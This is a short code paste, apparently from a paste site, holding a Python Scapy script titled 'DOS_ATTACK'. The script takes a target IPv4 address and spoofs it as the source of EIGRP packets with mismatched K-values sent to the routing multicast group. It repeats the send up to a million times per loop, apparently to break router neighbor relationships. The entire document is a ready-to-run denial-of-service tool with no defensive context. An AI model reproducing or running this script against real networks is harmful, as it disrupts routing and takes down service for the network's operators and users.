Facebook
From hackingforexpert, 1 Year ago, written in Python.
Embed
Download Paste or View Raw
Hits: 81
  1. from scapy.all import sendp
  2. from scapy.layers.inet import IP
  3. from scapy.layers.l2 import Ether
  4. from scapy.contrib.eigrp import EIGRP, EIGRPParam, EIGRPSwVer
  5.  
  6. class DOS_ATTACK:
  7.     def main(self):
  8.         print("\n |DOS ATTACK|\n")
  9.         IPv4 = input("Insert IPv4> ")
  10.         print()
  11.         PACKET = self.createPacket(IPv4)
  12.         self.dosAttack(PACKET, IPv4)
  13.  
  14.     def createPacket(self, IPv4):
  15.         ether = Ether()
  16.         ip = IP(src = IPv4, dst = "224.0.0.10")
  17.         eigrp = EIGRP(asn = 100, tlvlist = [EIGRPParam(k1 = 255, k2 = 255, k3 = 255, k4 = 255, k5 = 255), EIGRPSwVer()])
  18.         PACKET = ether/ip/eigrp
  19.         return PACKET
  20.    
  21.     def dosAttack(self, PACKET, IPv4):
  22.         for i in range(1000000):
  23.             try:
  24.                 sendp(PACKET, iface = "eth0", verbose = 0)
  25.             except KeyboardInterrupt:
  26.                 exit()
  27.             except:
  28.                 break
  29.             print(f"{i} PACKET SENDED! [{IPv4}]")
  30.         for i in range(1000000):
  31.             try:
  32.                 sendp(PACKET, verbose = 0)
  33.             except KeyboardInterrupt:
  34.                 exit()
  35.             except:
  36.                 print("Error.")
  37.             print(f"{i} PACKET SENDED! [{IPv4}]")
  38.  
  39. if __name__ == "__main__":
  40.     DOS_ATTACK().main()